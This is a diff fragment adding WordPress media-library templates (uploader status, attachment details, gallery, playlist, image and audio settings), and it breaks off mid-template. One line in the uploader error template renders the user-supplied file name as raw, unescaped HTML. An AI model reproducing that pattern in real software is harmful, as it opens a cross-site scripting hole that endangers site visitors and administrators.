+			<h3 class="upload-instructions"><?php printf( __('The web browser on your device cannot be used to upload files. You may be able to use the <a href="%s">native app for your device</a> instead.'), 'https://apps.wordpress.org/' ); ?></h3>
+		<?php elseif ( is_multisite() && ! is_upload_space_available() ) : ?>
+			<h3 class="upload-instructions"><?php _e( 'Upload Limit Exceeded' ); ?></h3>
+			<?php
+			/** This action is documented in wp-admin/includes/media.php */
+			do_action( 'upload_ui_over_quota' ); ?>
+
+		<?php else : ?>
+			<div class="upload-ui">
+				<h3 class="upload-instructions drop-instructions"><?php _e( 'Drop files anywhere to upload' ); ?></h3>
+				<p class="upload-instructions drop-instructions"><?php _ex( 'or', 'Uploader: Drop files here - or - Select Files' ); ?></p>
+				<a href="#" class="browser button button-hero"><?php _e( 'Select Files' ); ?></a>
+			</div>
+
+			<div class="upload-inline-status"></div>
+
+			<div class="post-upload-ui">
+				<?php
+				/** This action is documented in wp-admin/includes/media.php */
+				do_action( 'pre-upload-ui' );
+				/** This action is documented in wp-admin/includes/media.php */
+				do_action( 'pre-plupload-upload-ui' );
+
+				if ( 10 === remove_action( 'post-plupload-upload-ui', 'media_upload_flash_bypass' ) ) {
+					/** This action is documented in wp-admin/includes/media.php */
+					do_action( 'post-plupload-upload-ui' );
+					add_action( 'post-plupload-upload-ui', 'media_upload_flash_bypass' );
+				} else {
+					/** This action is documented in wp-admin/includes/media.php */
+					do_action( 'post-plupload-upload-ui' );
+				}
+
+				$max_upload_size = wp_max_upload_size();
+				if ( ! $max_upload_size ) {
+					$max_upload_size = 0;
+				}
+				?>
+
+				<p class="max-upload-size"><?php
+					printf( __( 'Maximum upload file size: %s.' ), esc_html( size_format( $max_upload_size ) ) );
+				?></p>
+
+				<# if ( data.suggestedWidth && data.suggestedHeight ) { #>
+					<p class="suggested-dimensions">
+						<?php _e( 'Suggested image dimensions:' ); ?> {{data.suggestedWidth}} &times; {{data.suggestedHeight}}
+					</p>
+				<# } #>
+
+				<?php
+				/** This action is documented in wp-admin/includes/media.php */
+				do_action( 'post-upload-ui' ); ?>
+			</div>
+		<?php endif; ?>
+		</div>
+	</script>
+
+	<script type="text/html" id="tmpl-media-library-view-switcher">
+		<a href="<?php echo esc_url( add_query_arg( 'mode', 'list', $_SERVER['REQUEST_URI'] ) ) ?>" class="view-list">
+			<span class="screen-reader-text"><?php _e( 'List View' ); ?></span>
+		</a>
+		<a href="<?php echo esc_url( add_query_arg( 'mode', 'grid', $_SERVER['REQUEST_URI'] ) ) ?>" class="view-grid current">
+			<span class="screen-reader-text"><?php _e( 'Grid View' ); ?></span>
+		</a>
+	</script>
+
+	<script type="text/html" id="tmpl-uploader-status">
+		<h3><?php _e( 'Uploading' ); ?></h3>
+		<a class="upload-dismiss-errors" href="#"><?php _e('Dismiss Errors'); ?></a>
+
+		<div class="media-progress-bar"><div></div></div>
+		<div class="upload-details">
+			<span class="upload-count">
+				<span class="upload-index"></span> / <span class="upload-total"></span>
+			</span>
+			<span class="upload-detail-separator">&ndash;</span>
+			<span class="upload-filename"></span>
+		</div>
+		<div class="upload-errors"></div>
+	</script>
+
+	<script type="text/html" id="tmpl-uploader-status-error">
+		<span class="upload-error-label"><?php _e('Error'); ?></span>
+		<span class="upload-error-filename">{{{ data.filename }}}</span>
+		<span class="upload-error-message">{{ data.message }}</span>
+	</script>
+
+	<script type="text/html" id="tmpl-edit-attachment-frame">
+		<div class="edit-media-header">
+			<button class="left dashicons <# if ( ! data.hasPrevious ) { #> disabled <# } #>"><span class="screen-reader-text"><?php _e( 'Edit previous media item' ); ?></span></button>
+			<button class="right dashicons <# if ( ! data.hasNext ) { #> disabled <# } #>"><span class="screen-reader-text"><?php _e( 'Edit next media item' ); ?></span></button>
+		</div>
+		<div class="media-frame-title"></div>
+		<div class="media-frame-content"></div>
+	</script>
+
+	<script type="text/html" id="tmpl-attachment-details-two-column">
+		<div class="attachment-media-view {{ data.orientation }}">
+			<div class="thumbnail thumbnail-{{ data.type }}">
+				<# if ( data.uploading ) { #>
+					<div class="media-progress-bar"><div></div></div>
+				<# } else if ( 'image' === data.type && data.sizes && data.sizes.large ) { #>
+					<img class="details-image" src="{{ data.sizes.large.url }}" draggable="false" />
+				<# } else if ( 'image' === data.type && data.sizes && data.sizes.full ) { #>
+					<img class="details-image" src="{{ data.sizes.full.url }}" draggable="false" />
+				<# } else if ( -1 === jQuery.inArray( data.type, [ 'audio', 'video' ] ) ) { #>
+					<img class="details-image" src="{{ data.icon }}" class="icon" draggable="false" />
+				<# } #>
+
+				<# if ( 'audio' === data.type ) { #>
+				<div class="wp-media-wrapper">
+					<audio style="visibility: hidden" controls class="wp-audio-shortcode" width="100%" preload="none">
+						<source type="{{ data.mime }}" src="{{ data.url }}"/>
+					</audio>
+				</div>
+				<# } else if ( 'video' === data.type ) {
+					var w_rule = h_rule = '';
+					if ( data.width ) {
+						w_rule = 'width: ' + data.width + 'px;';
+					} else if ( wp.media.view.settings.contentWidth ) {
+						w_rule = 'width: ' + wp.media.view.settings.contentWidth + 'px;';
+					}
+					if ( data.height ) {
+						h_rule = 'height: ' + data.height + 'px;';
+					}
+				#>
+				<div style="{{ w_rule }}{{ h_rule }}" class="wp-media-wrapper wp-video">
+					<video controls="controls" class="wp-video-shortcode" preload="metadata"
+						<# if ( data.width ) { #>width="{{ data.width }}"<# } #>
+						<# if ( data.height ) { #>height="{{ data.height }}"<# } #>
+						<# if ( data.image && data.image.src !== data.icon ) { #>poster="{{ data.image.src }}"<# } #>>
+						<source type="{{ data.mime }}" src="{{ data.url }}"/>
+					</video>
+				</div>
+				<# } #>
+
+				<div class="attachment-actions">
+					<# if ( 'image' === data.type && ! data.uploading && data.sizes && data.can.save ) { #>
+						<a class="button edit-attachment" href="#"><?php _e( 'Edit Image' ); ?></a>
+					<# } #>
+				</div>
+			</div>
+		</div>
+		<div class="attachment-info">
+			<span class="settings-save-status">
+				<span class="spinner"></span>
+				<span class="saved"><?php esc_html_e('Saved.'); ?></span>
+			</span>
+			<div class="details">
+				<div class="filename"><strong><?php _e( 'File name:' ); ?></strong> {{ data.filename }}</div>
+				<div class="filename"><strong><?php _e( 'File type:' ); ?></strong> {{ data.mime }}</div>
+				<div class="uploaded"><strong><?php _e( 'Uploaded on:' ); ?></strong> {{ data.dateFormatted }}</div>
+
+				<div class="file-size"><strong><?php _e( 'File size:' ); ?></strong> {{ data.filesizeHumanReadable }}</div>
+				<# if ( 'image' === data.type && ! data.uploading ) { #>
+					<# if ( data.width && data.height ) { #>
+						<div class="dimensions"><strong><?php _e( 'Dimensions:' ); ?></strong> {{ data.width }} &times; {{ data.height }}</div>
+					<# } #>
+				<# } #>
+
+				<# if ( data.fileLength ) { #>
+					<div class="file-length"><strong><?php _e( 'Length:' ); ?></strong> {{ data.fileLength }}</div>
+				<# } #>
+
+				<# if ( 'audio' === data.type && data.meta.bitrate ) { #>
+					<div class="bitrate">
+						<strong><?php _e( 'Bitrate:' ); ?></strong> {{ Math.round( data.meta.bitrate / 1000 ) }}kb/s
+						<# if ( data.meta.bitrate_mode ) { #>
+						{{ ' ' + data.meta.bitrate_mode.toUpperCase() }}
+						<# } #>
+					</div>
+				<# } #>
+
+				<div class="compat-meta">
+					<# if ( data.compat && data.compat.meta ) { #>
+						{{{ data.compat.meta }}}
+					<# } #>
+				</div>
+			</div>
+
+			<div class="settings">
+				<label class="setting" data-setting="url">
+					<span class="name"><?php _e('URL'); ?></span>
+					<input type="text" value="{{ data.url }}" readonly />
+				</label>
+				<# var maybeReadOnly = data.can.save || data.allowLocalEdits ? '' : 'readonly'; #>
+				<label class="setting" data-setting="title">
+					<span class="name"><?php _e('Title'); ?></span>
+					<input type="text" value="{{ data.title }}" {{ maybeReadOnly }} />
+				</label>
+				<# if ( 'audio' === data.type ) { #>
+				<?php foreach ( array(
+					'artist' => __( 'Artist' ),
+					'album' => __( 'Album' ),
+				) as $key => $label ) : ?>
+				<label class="setting" data-setting="<?php echo esc_attr( $key ) ?>">
+					<span class="name"><?php echo $label ?></span>
+					<input type="text" value="{{ data.<?php echo $key ?> || data.meta.<?php echo $key ?> || '' }}" />
+				</label>
+				<?php endforeach; ?>
+				<# } #>
+				<label class="setting" data-setting="caption">
+					<span class="name"><?php _e( 'Caption' ); ?></span>
+					<textarea {{ maybeReadOnly }}>{{ data.caption }}</textarea>
+				</label>
+				<# if ( 'image' === data.type ) { #>
+					<label class="setting" data-setting="alt">
+						<span class="name"><?php _e( 'Alt Text' ); ?></span>
+						<input type="text" value="{{ data.alt }}" {{ maybeReadOnly }} />
+					</label>
+				<# } #>
+				<label class="setting" data-setting="description">
+					<span class="name"><?php _e('Description'); ?></span>
+					<textarea {{ maybeReadOnly }}>{{ data.description }}</textarea>
+				</label>
+				<label class="setting">
+					<span class="name"><?php _e( 'Uploaded By' ); ?></span>
+					<span class="value">{{ data.authorName }}</span>
+				</label>
+				<# if ( data.uploadedToTitle ) { #>
+					<label class="setting">
+						<span class="name"><?php _e( 'Uploaded To' ); ?></span>
+						<# if ( data.uploadedToLink ) { #>
+							<span class="value"><a href="{{ data.uploadedToLink }}">{{ data.uploadedToTitle }}</a></span>
+						<# } else { #>
+							<span class="value">{{ data.uploadedToTitle }}</span>
+						<# } #>
+					</label>
+				<# } #>
+				<div class="attachment-compat"></div>
+			</div>
+
+			<div class="actions">
+				<a class="view-attachment" href="{{ data.link }}"><?php _e( 'View attachment page' ); ?></a>
+				<# if ( data.can.save ) { #> |
+					<a href="post.php?post={{ data.id }}&action=edit"><?php _e( 'Edit more details' ); ?></a>
+				<# } #>
+				<# if ( ! data.uploading && data.can.remove ) { #> |
+					<?php if ( MEDIA_TRASH ): ?>
+						<# if ( 'trash' === data.status ) { #>
+							<a class="untrash-attachment" href="#"><?php _e( 'Untrash' ); ?></a>
+						<# } else { #>
+							<a class="trash-attachment" href="#"><?php _ex( 'Trash', 'verb' ); ?></a>
+						<# } #>
+					<?php else: ?>
+						<a class="delete-attachment" href="#"><?php _e( 'Delete Permanently' ); ?></a>
+					<?php endif; ?>
+				<# } #>
+			</div>
+
+		</div>
+	</script>
+
+	<script type="text/html" id="tmpl-attachment">
+		<div class="attachment-preview js--select-attachment type-{{ data.type }} subtype-{{ data.subtype }} {{ data.orientation }}">
+			<div class="thumbnail">
+				<# if ( data.uploading ) { #>
+					<div class="media-progress-bar"><div style="width: {{ data.percent }}%"></div></div>
+				<# } else if ( 'image' === data.type && data.sizes ) { #>
+					<div class="centered">
+						<img src="{{ data.size.url }}" draggable="false" alt="" />
+					</div>
+				<# } else { #>
+					<div class="centered">
+						<# if ( data.image && data.image.src && data.image.src !== data.icon ) { #>
+							<img src="{{ data.image.src }}" class="thumbnail" draggable="false" />
+						<# } else { #>
+							<img src="{{ data.icon }}" class="icon" draggable="false" />
+						<# } #>
+					</div>
+					<div class="filename">
+						<div>{{ data.filename }}</div>
+					</div>
+				<# } #>
+			</div>
+			<# if ( data.buttons.close ) { #>
+				<a class="close media-modal-icon" href="#" title="<?php esc_attr_e('Remove'); ?>"></a>
+			<# } #>
+		</div>
+		<# if ( data.buttons.check ) { #>
+			<a class="check" href="#" title="<?php esc_attr_e('Deselect'); ?>" tabindex="-1"><div class="media-modal-icon"></div></a>
+		<# } #>
+		<#
+		var maybeReadOnly = data.can.save || data.allowLocalEdits ? '' : 'readonly';
+		if ( data.describe ) {
+			if ( 'image' === data.type ) { #>
+				<input type="text" value="{{ data.caption }}" class="describe" data-setting="caption"
+					placeholder="<?php esc_attr_e('Caption this image&hellip;'); ?>" {{ maybeReadOnly }} />
+			<# } else { #>
+				<input type="text" value="{{ data.title }}" class="describe" data-setting="title"
+					<# if ( 'video' === data.type ) { #>
+						placeholder="<?php esc_attr_e('Describe this video&hellip;'); ?>"
+					<# } else if ( 'audio' === data.type ) { #>
+						placeholder="<?php esc_attr_e('Describe this audio file&hellip;'); ?>"
+					<# } else { #>
+						placeholder="<?php esc_attr_e('Describe this media file&hellip;'); ?>"
+					<# } #> {{ maybeReadOnly }} />
+			<# }
+		} #>
+	</script>
+
+	<script type="text/html" id="tmpl-attachment-details">
+		<h3>
+			<?php _e('Attachment Details'); ?>
+
+			<span class="settings-save-status">
+				<span class="spinner"></span>
+				<span class="saved"><?php esc_html_e('Saved.'); ?></span>
+			</span>
+		</h3>
+		<div class="attachment-info">
+			<div class="thumbnail thumbnail-{{ data.type }}">
+				<# if ( data.uploading ) { #>
+					<div class="media-progress-bar"><div></div></div>
+				<# } else if ( 'image' === data.type && data.sizes ) { #>
+					<img src="{{ data.size.url }}" draggable="false" />
+				<# } else { #>
+					<img src="{{ data.icon }}" class="icon" draggable="false" />
+				<# } #>
+			</div>
+			<div class="details">
+				<div class="filename">{{ data.filename }}</div>
+				<div class="uploaded">{{ data.dateFormatted }}</div>
+
+				<div class="file-size">{{ data.filesizeHumanReadable }}</div>
+				<# if ( 'image' === data.type && ! data.uploading ) { #>
+					<# if ( data.width && data.height ) { #>
+						<div class="dimensions">{{ data.width }} &times; {{ data.height }}</div>
+					<# } #>
+
+					<# if ( data.can.save && data.sizes ) { #>
+						<a class="edit-attachment" href="{{ data.editLink }}&amp;image-editor" target="_blank"><?php _e( 'Edit Image' ); ?></a>
+						<a class="refresh-attachment" href="#"><?php _e( 'Refresh' ); ?></a>
+					<# } #>
+				<# } #>
+
+				<# if ( data.fileLength ) { #>
+					<div class="file-length"><?php _e( 'Length:' ); ?> {{ data.fileLength }}</div>
+				<# } #>
+
+				<# if ( ! data.uploading && data.can.remove ) { #>
+					<?php if ( MEDIA_TRASH ): ?>
+					<# if ( 'trash' === data.status ) { #>
+						<a class="untrash-attachment" href="#"><?php _e( 'Untrash' ); ?></a>
+					<# } else { #>
+						<a class="trash-attachment" href="#"><?php _ex( 'Trash', 'verb' ); ?></a>
+					<# } #>
+					<?php else: ?>
+						<a class="delete-attachment" href="#"><?php _e( 'Delete Permanently' ); ?></a>
+					<?php endif; ?>
+				<# } #>
+
+				<div class="compat-meta">
+					<# if ( data.compat && data.compat.meta ) { #>
+						{{{ data.compat.meta }}}
+					<# } #>
+				</div>
+			</div>
+		</div>
+
+		<label class="setting" data-setting="url">
+			<span class="name"><?php _e('URL'); ?></span>
+			<input type="text" value="{{ data.url }}" readonly />
+		</label>
+		<# var maybeReadOnly = data.can.save || data.allowLocalEdits ? '' : 'readonly'; #>
+		<label class="setting" data-setting="title">
+			<span class="name"><?php _e('Title'); ?></span>
+			<input type="text" value="{{ data.title }}" {{ maybeReadOnly }} />
+		</label>
+		<# if ( 'audio' === data.type ) { #>
+		<?php foreach ( array(
+			'artist' => __( 'Artist' ),
+			'album' => __( 'Album' ),
+		) as $key => $label ) : ?>
+		<label class="setting" data-setting="<?php echo esc_attr( $key ) ?>">
+			<span class="name"><?php echo $label ?></span>
+			<input type="text" value="{{ data.<?php echo $key ?> || data.meta.<?php echo $key ?> || '' }}" />
+		</label>
+		<?php endforeach; ?>
+		<# } #>
+		<label class="setting" data-setting="caption">
+			<span class="name"><?php _e('Caption'); ?></span>
+			<textarea {{ maybeReadOnly }}>{{ data.caption }}</textarea>
+		</label>
+		<# if ( 'image' === data.type ) { #>
+			<label class="setting" data-setting="alt">
+				<span class="name"><?php _e('Alt Text'); ?></span>
+				<input type="text" value="{{ data.alt }}" {{ maybeReadOnly }} />
+			</label>
+		<# } #>
+		<label class="setting" data-setting="description">
+			<span class="name"><?php _e('Description'); ?></span>
+			<textarea {{ maybeReadOnly }}>{{ data.description }}</textarea>
+		</label>
+	</script>
+
+	<script type="text/html" id="tmpl-media-selection">
+		<div class="selection-info">
+			<span class="count"></span>
+			<# if ( data.editable ) { #>
+				<a class="edit-selection" href="#"><?php _e( 'Edit Selection' ); ?></a>
+			<# } #>
+			<# if ( data.clearable ) { #>
+				<a class="clear-selection" href="#"><?php _e('Clear'); ?></a>
+			<# } #>
+		</div>
+		<div class="selection-view"></div>
+	</script>
+
+	<script type="text/html" id="tmpl-attachment-display-settings">
+		<h3><?php _e('Attachment Display Settings'); ?></h3>
+
+		<# if ( 'image' === data.type ) { #>
+			<label class="setting">
+				<span><?php _e('Alignment'); ?></span>
+				<select class="alignment"
+					data-setting="align"
+					<# if ( data.userSettings ) { #>
+						data-user-setting="align"
+					<# } #>>
+
+					<option value="left">
+						<?php esc_attr_e('Left'); ?>
+					</option>
+					<option value="center">
+						<?php esc_attr_e('Center'); ?>
+					</option>
+					<option value="right">
+						<?php esc_attr_e('Right'); ?>
+					</option>
+					<option value="none" selected>
+						<?php esc_attr_e('None'); ?>
+					</option>
+				</select>
+			</label>
+		<# } #>
+
+		<div class="setting">
+			<label>
+				<# if ( data.model.canEmbed ) { #>
+					<span><?php _e('Embed or Link'); ?></span>
+				<# } else { #>
+					<span><?php _e('Link To'); ?></span>
+				<# } #>
+
+				<select class="link-to"
+					data-setting="link"
+					<# if ( data.userSettings && ! data.model.canEmbed ) { #>
+						data-user-setting="urlbutton"
+					<# } #>>
+
+				<# if ( data.model.canEmbed ) { #>
+					<option value="embed" selected>
+						<?php esc_attr_e('Embed Media Player'); ?>
+					</option>
+					<option value="file">
+				<# } else { #>
+					<option value="file" selected>
+				<# } #>
+					<# if ( data.model.canEmbed ) { #>
+						<?php esc_attr_e('Link to Media File'); ?>
+					<# } else { #>
+						<?php esc_attr_e('Media File'); ?>
+					<# } #>
+					</option>
+					<option value="post">
+					<# if ( data.model.canEmbed ) { #>
+						<?php esc_attr_e('Link to Attachment Page'); ?>
+					<# } else { #>
+						<?php esc_attr_e('Attachment Page'); ?>
+					<# } #>
+					</option>
+				<# if ( 'image' === data.type ) { #>
+					<option value="custom">
+						<?php esc_attr_e('Custom URL'); ?>
+					</option>
+					<option value="none">
+						<?php esc_attr_e('None'); ?>
+					</option>
+				<# } #>
+				</select>
+			</label>
+			<input type="text" class="link-to-custom" data-setting="linkUrl" />
+		</div>
+
+		<# if ( 'undefined' !== typeof data.sizes ) { #>
+			<label class="setting">
+				<span><?php _e('Size'); ?></span>
+				<select class="size" name="size"
+					data-setting="size"
+					<# if ( data.userSettings ) { #>
+						data-user-setting="imgsize"
+					<# } #>>
+					<?php
+					/** This filter is documented in wp-admin/includes/media.php */
+					$sizes = apply_filters( 'image_size_names_choose', array(
+						'thumbnail' => __('Thumbnail'),
+						'medium'    => __('Medium'),
+						'large'     => __('Large'),
+						'full'      => __('Full Size'),
+					) );
+
+					foreach ( $sizes as $value => $name ) : ?>
+						<#
+						var size = data.sizes['<?php echo esc_js( $value ); ?>'];
+						if ( size ) { #>
+							<option value="<?php echo esc_attr( $value ); ?>" <?php selected( $value, 'full' ); ?>>
+								<?php echo esc_html( $name ); ?> &ndash; {{ size.width }} &times; {{ size.height }}
+							</option>
+						<# } #>
+					<?php endforeach; ?>
+				</select>
+			</label>
+		<# } #>
+	</script>
+
+	<script type="text/html" id="tmpl-gallery-settings">
+		<h3><?php _e('Gallery Settings'); ?></h3>
+
+		<label class="setting">
+			<span><?php _e('Link To'); ?></span>
+			<select class="link-to"
+				data-setting="link"
+				<# if ( data.userSettings ) { #>
+					data-user-setting="urlbutton"
+				<# } #>>
+
+				<option value="post" <# if ( ! wp.media.galleryDefaults.link || 'post' == wp.media.galleryDefaults.link ) {
+					#>selected="selected"<# }
+				#>>
+					<?php esc_attr_e('Attachment Page'); ?>
+				</option>
+				<option value="file" <# if ( 'file' == wp.media.galleryDefaults.link ) { #>selected="selected"<# } #>>
+					<?php esc_attr_e('Media File'); ?>
+				</option>
+				<option value="none" <# if ( 'none' == wp.media.galleryDefaults.link ) { #>selected="selected"<# } #>>
+					<?php esc_attr_e('None'); ?>
+				</option>
+			</select>
+		</label>
+
+		<label class="setting">
+			<span><?php _e('Columns'); ?></span>
+			<select class="columns" name="columns"
+				data-setting="columns">
+				<?php for ( $i = 1; $i <= 9; $i++ ) : ?>
+					<option value="<?php echo esc_attr( $i ); ?>" <#
+						if ( <?php echo $i ?> == wp.media.galleryDefaults.columns ) { #>selected="selected"<# }
+					#>>
+						<?php echo esc_html( $i ); ?>
+					</option>
+				<?php endfor; ?>
+			</select>
+		</label>
+
+		<label class="setting">
+			<span><?php _e( 'Random Order' ); ?></span>
+			<input type="checkbox" data-setting="_orderbyRandom" />
+		</label>
+
+		<label class="setting size">
+			<span><?php _e( 'Size' ); ?></span>
+			<select class="size" name="size"
+				data-setting="size"
+				<# if ( data.userSettings ) { #>
+					data-user-setting="imgsize"
+				<# } #>
+				>
+				<?php
+				// This filter is documented in wp-admin/includes/media.php
+				$size_names = apply_filters( 'image_size_names_choose', array(
+					'thumbnail' => __( 'Thumbnail' ),
+					'medium'    => __( 'Medium' ),
+					'large'     => __( 'Large' ),
+					'full'      => __( 'Full Size' ),
+				) );
+
+				foreach ( $size_names as $size => $label ) : ?>
+					<option value="<?php echo esc_attr( $size ); ?>">
+						<?php echo esc_html( $label ); ?>
+					</option>
+				<?php endforeach; ?>
+			</select>
+		</label>
+	</script>
+
+	<script type="text/html" id="tmpl-playlist-settings">
+		<h3><?php _e( 'Playlist Settings' ); ?></h3>
+
+		<# var emptyModel = _.isEmpty( data.model ),
+			isVideo = 'video' === data.controller.get('library').props.get('type'); #>
+
+		<label class="setting">
+			<input type="checkbox" data-setting="tracklist" <# if ( emptyModel ) { #>
+				checked="checked"
+			<# } #> />
+			<# if ( isVideo ) { #>
+			<span><?php _e( 'Show Video List' ); ?></span>
+			<# } else { #>
+			<span><?php _e( 'Show Tracklist' ); ?></span>
+			<# } #>
+		</label>
+
+		<# if ( ! isVideo ) { #>
+		<label class="setting">
+			<input type="checkbox" data-setting="artists" <# if ( emptyModel ) { #>
+				checked="checked"
+			<# } #> />
+			<span><?php _e( 'Show Artist Name in Tracklist' ); ?></span>
+		</label>
+		<# } #>
+
+		<label class="setting">
+			<input type="checkbox" data-setting="images" <# if ( emptyModel ) { #>
+				checked="checked"
+			<# } #> />
+			<span><?php _e( 'Show Images' ); ?></span>
+		</label>
+	</script>
+
+	<script type="text/html" id="tmpl-embed-link-settings">
+		<label class="setting title">
+			<span><?php _e( 'Title' ); ?></span>
+			<input type="text" class="alignment" data-setting="title" />
+		</label>
+		<div class="embed-container" style="display: none;">
+			<div class="embed-preview"></div>
+		</div>
+	</script>
+
+	<script type="text/html" id="tmpl-embed-image-settings">
+		<div class="thumbnail">
+			<img src="{{ data.model.url }}" draggable="false" />
+		</div>
+
+		<?php
+		/** This filter is documented in wp-admin/includes/media.php */
+		if ( ! apply_filters( 'disable_captions', '' ) ) : ?>
+			<label class="setting caption">
+				<span><?php _e('Caption'); ?></span>
+				<textarea data-setting="caption" />
+			</label>
+		<?php endif; ?>
+
+		<label class="setting alt-text">
+			<span><?php _e('Alt Text'); ?></span>
+			<input type="text" data-setting="alt" />
+		</label>
+
+		<div class="setting align">
+			<span><?php _e('Align'); ?></span>
+			<div class="button-group button-large" data-setting="align">
+				<button class="button" value="left">
+					<?php esc_attr_e('Left'); ?>
+				</button>
+				<button class="button" value="center">
+					<?php esc_attr_e('Center'); ?>
+				</button>
+				<button class="button" value="right">
+					<?php esc_attr_e('Right'); ?>
+				</button>
+				<button class="button active" value="none">
+					<?php esc_attr_e('None'); ?>
+				</button>
+			</div>
+		</div>
+
+		<div class="setting link-to">
+			<span><?php _e('Link To'); ?></span>
+			<div class="button-group button-large" data-setting="link">
+				<button class="button" value="file">
+					<?php esc_attr_e('Image URL'); ?>
+				</button>
+				<button class="button" value="custom">
+					<?php esc_attr_e('Custom URL'); ?>
+				</button>
+				<button class="button active" value="none">
+					<?php esc_attr_e('None'); ?>
+				</button>
+			</div>
+			<input type="text" class="link-to-custom" data-setting="linkUrl" />
+		</div>
+	</script>
+
+	<script type="text/html" id="tmpl-image-details">
+		<div class="media-embed">
+			<div class="embed-media-settings">
+				<div class="column-image">
+					<div class="image">
+						<img src="{{ data.model.url }}" draggable="false" />
+
+						<# if ( data.attachment && window.imageEdit ) { #>
+							<div class="actions">
+								<input type="button" class="edit-attachment button" value="<?php esc_attr_e( 'Edit Original' ); ?>" />
+								<input type="button" class="replace-attachment button" value="<?php esc_attr_e( 'Replace' ); ?>" />
+							</div>
+						<# } #>
+					</div>
+				</div>
+				<div class="column-settings">
+					<?php
+					/** This filter is documented in wp-admin/includes/media.php */
+					if ( ! apply_filters( 'disable_captions', '' ) ) : ?>
+						<label class="setting caption">
+							<span><?php _e('Caption'); ?></span>
+							<textarea data-setting="caption">{{ data.model.caption }}</textarea>
+						</label>
+					<?php endif; ?>
+
+					<label class="setting alt-text">
+						<span><?php _e('Alternative Text'); ?></span>
+						<input type="text" data-setting="alt" value="{{ data.model.alt }}" />
+					</label>
+
+					<h3><?php _e( 'Display Settings' ); ?></h3>
+					<div class="setting align">
+						<span><?php _e('Align'); ?></span>
+						<div class="button-group button-large" data-setting="align">
+							<button class="button" value="left">
+								<?php esc_attr_e('Left'); ?>
+							</button>
+							<button class="button" value="center">
+								<?php esc_attr_e('Center'); ?>
+							</button>
+							<button class="button" value="right">
+								<?php esc_attr_e('Right'); ?>
+							</button>
+							<button class="button active" value="none">
+								<?php esc_attr_e('None'); ?>
+							</button>
+						</div>
+					</div>
+
+					<# if ( data.attachment ) { #>
+						<# if ( 'undefined' !== typeof data.attachment.sizes ) { #>
+							<label class="setting size">
+								<span><?php _e('Size'); ?></span>
+								<select class="size" name="size"
+									data-setting="size"
+									<# if ( data.userSettings ) { #>
+										data-user-setting="imgsize"
+									<# } #>>
+									<?php
+									/** This filter is documented in wp-admin/includes/media.php */
+									$sizes = apply_filters( 'image_size_names_choose', array(
+										'thumbnail' => __('Thumbnail'),
+										'medium'    => __('Medium'),
+										'large'     => __('Large'),
+										'full'      => __('Full Size'),
+									) );
+
+									foreach ( $sizes as $value => $name ) : ?>
+										<#
+										var size = data.sizes['<?php echo esc_js( $value ); ?>'];
+										if ( size ) { #>
+											<option value="<?php echo esc_attr( $value ); ?>">
+												<?php echo esc_html( $name ); ?> &ndash; {{ size.width }} &times; {{ size.height }}
+											</option>
+										<# } #>
+									<?php endforeach; ?>
+									<option value="<?php echo esc_attr( 'custom' ); ?>">
+										<?php _e( 'Custom Size' ); ?>
+									</option>
+								</select>
+							</label>
+						<# } #>
+							<div class="custom-size<# if ( data.model.size !== 'custom' ) { #> hidden<# } #>">
+								<label><span><?php _e( 'Width' ); ?> <small>(px)</small></span> <input data-setting="customWidth" type="number" step="1" value="{{ data.model.customWidth }}" /></label><span class="sep">&times;</span><label><span><?php _e( 'Height' ); ?> <small>(px)</small></span><input data-setting="customHeight" type="number" step="1" value="{{ data.model.customHeight }}" /></label>
+							</div>
+					<# } #>
+
+					<div class="setting link-to">
+						<span><?php _e('Link To'); ?></span>
+						<select data-setting="link">
+						<# if ( data.attachment ) { #>
+							<option value="file">
+								<?php esc_attr_e('Media File'); ?>
+							</option>
+							<option value="post">
+								<?php esc_attr_e('Attachment Page'); ?>
+							</option>
+						<# } else { #>
+							<option value="file">
+								<?php esc_attr_e('Image URL'); ?>
+							</option>
+						<# } #>
+							<option value="custom">
+								<?php esc_attr_e('Custom URL'); ?>
+							</option>
+							<option value="none">
+								<?php esc_attr_e('None'); ?>
+							</option>
+						</select>
+						<input type="text" class="link-to-custom" data-setting="linkUrl" />
+					</div>
+					<div class="advanced-section">
+						<h3><a class="advanced-toggle" href="#"><?php _e('Advanced Options'); ?></a></h3>
+						<div class="advanced-settings hidden">
+							<div class="advanced-image">
+								<label class="setting title-text">
+									<span><?php _e('Image Title Attribute'); ?></span>
+									<input type="text" data-setting="title" value="{{ data.model.title }}" />
+								</label>
+								<label class="setting extra-classes">
+									<span><?php _e('Image CSS Class'); ?></span>
+									<input type="text" data-setting="extraClasses" value="{{ data.model.extraClasses }}" />
+								</label>
+							</div>
+							<div class="advanced-link">
+								<div class="setting link-target">
+									<label><input type="checkbox" data-setting="linkTargetBlank" value="_blank" <# if ( data.model.linkTargetBlank ) { #>checked="checked"<# } #>><?php _e( 'Open link in a new window/tab' ); ?></label>
+								</div>
+								<label class="setting link-rel">
+									<span><?php _e('Link Rel'); ?></span>
+									<input type="text" data-setting="linkRel" value="{{ data.model.linkClassName }}" />
+								</label>
+								<label class="setting link-class-name">
+									<span><?php _e('Link CSS Class'); ?></span>
+									<input type="text" data-setting="linkClassName" value="{{ data.model.linkClassName }}" />
+								</label>
+							</div>
+						</div>
+					</div>
+				</div>
+			</div>
+		</div>
+	</script>
+
+	<script type="text/html" id="tmpl-image-editor">
+		<div id="media-head-{{ data.id }}"></div>
+		<div id="image-editor-{{ data.id }}"></div>
+	</script>
+
+	<script type="text/html" id="tmpl-audio-details">
+		<# var ext, html5types = {
+			mp3: wp.media.view.settings.embedMimes.mp3,
+			ogg: wp.media.view.settings.embedMimes.ogg
+		}; #>
+
+		<?php $audio_types = wp_get_audio_extensions(); ?>
+		<div class="media-embed media-embed-details">
+			<div class="embed-media-settings embed-audio-settings">
+				<?php wp_underscore_audio_template() ?>
+
+				<# if ( ! _.isEmpty( data.model.src ) ) {
+					ext = data.model.src.split('.').pop();
+					if ( html5types[ ext ] ) {
+						delete html5types[ ext ];
+					}
+				#>
+				<label class="setting">
+					<span>SRC</span>
+					<input type="text" disabled="disabled" data-setting="src" value="{{ data.model.src }}" />
+					<a class="remove-setting"><?php _e( 'Remove' ); ?></a>
+				</label>
+				<# } #>
+				<?php
+
+				foreach ( $audio_types as $type ):
+				?><# if ( ! _.isEmpty( data.model.<?php echo $type ?> ) ) {
+					if ( ! _.isUndefined( html5types.<?php echo $type ?> ) ) {
+						delete html5types.<?php echo $type ?>;
+					}
+				#>
+				<label class="setting">
+					<span><?php echo strtoupper( $type ) ?></span>
+					<input type="text" disabled="disabled" data-setting="<?php echo $type ?>" value="{{ data.model.<?php echo $type ?> }}" />
